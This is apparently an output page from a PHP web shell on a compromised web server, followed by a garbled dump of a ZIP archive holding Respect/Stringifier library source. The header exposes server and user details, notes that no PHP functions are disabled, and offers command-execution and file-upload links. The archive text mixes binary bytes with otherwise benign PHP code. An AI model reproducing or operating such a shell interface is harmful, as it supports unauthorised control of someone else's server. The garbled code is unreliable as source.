Server IP : 213.176.29.180 / Your IP : 3.145.43.200 Web Server : Apache System : Linux 213.176.29.180.hostiran.name 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64 User : webtaragh ( 1001) PHP Version : 8.3.14 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home/webtaragh/public_html/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
PK ��$Zx�7K K stringifier/src/stringify.phpnu �[��� <?php /* * This file is part of Respect/Stringifier. * * (c) Henrique Moody <henriquemoody@gmail.com> * * For the full copyright and license information, please view the "LICENSE.md" * file that was distributed with this source code. */ declare(strict_types=1); namespace Respect\Stringifier; use Respect\Stringifier\Stringifiers\ClusterStringifier; function stringify($value): string { static $stringifier; if (null === $stringifier) { $stringifier = ClusterStringifier::createDefault(); } return $stringifier->stringify($value, 0) ?? '#ERROR#'; } PK ��$Z�-4I� � stringifier/src/Stringifier.phpnu �[��� <?php /* * This file is part of Respect/Stringifier. * * (c) Henrique Moody <henriquemoody@gmail.com> * * For the full copyright and license information, please view the "LICENSE.md" * file that was distributed with this source code. */ declare(strict_types=1); namespace Respect\Stringifier; interface Stringifier { /** * Converts the value into string if possible. * * @param mixed $raw The raw value to be converted. * @param int $depth The current depth of the conversion. * * @return null|string Returns NULL when the conversion is not possible. */ public function stringify($raw, int $depth): ?string; } PK ��$Z���;� � 3 stringifier/src/Stringifiers/ClusterStringifier.phpnu �[��� <?php /* * This file is part of Respect/Stringifier. * * (c) Henrique Moody <henriquemoody@gmail.com> * * For the full copyright and license information, please view the "LICENSE.md" * file that was distributed with this source code. */ declare(strict_types=1); namespace Respect\Stringifier\Stringifiers; use Respect\Stringifier\Quoters\CodeQuoter; use Respect\Stringifier\Quoters\StringQuoter; use Respect\Stringifier\Stringifier; /** * Converts a value into a string using the defined Stringifiers. * * @author Henrique Moody <henriquemoody@gmail.com> */ final class ClusterStringifier implements Stringifier { /** * @var Stringifier[] */ private $stringifiers; /** * Initializes the stringifier. * * @param Stringifier[] ...$stringifiers */ public function __construct(Stringifier ...$stringifiers) { $this->setStringifiers($stringifiers); } /** * Create a default instance of the class. * * This instance includes all possible stringifiers. * * @return ClusterStringifier */ public static function createDefault(): self { $quoter = new CodeQuoter(); $stringifier = new self(); $stringifier->setStringifiers([ new TraversableStringifier($stringifier, $quoter), new DateTimeStringifier($stringifier, $quoter, 'c'), new ThrowableStringifier($stringifier, $quoter), new StringableObjectStringifier($stringifier), new JsonSerializableStringifier($stringifier, $quoter), new ObjectStringifier($stringifier, $quoter), new ArrayStringifier($stringifier, $quoter, 3, 5), new InfiniteStringifier($quoter), new NanStringifier($quoter), new ResourceStringifier($quoter), new BoolStringifier($quoter), new NullStringifier($quoter), new JsonParsableStringifier(), ]); return $stringifier; } /** * Set stringifiers. * * @param array $stringifiers * * @return void */ public function setStringifiers(array $stringifiers): void { $this->stringifiers = []; foreach ($stringifiers as $stringifier) { $this->addStringifier($stringifier); } } /** * Add a stringifier to the chain * * @param Stringifier $stringifier * * @return void */ public function addStringifier(Stringifier $stringifier): void { $this->stringifiers[] = $stringifier; } /** * {@inheritdoc} */ public function stringify($value, int $depth): ?string { foreach ($this->stringifiers as $stringifier) { $string = $stringifier->stringify($value, $depth); if (null === $string) { continue; } return $string; } return null; } } PK ��$Zn=7�� � <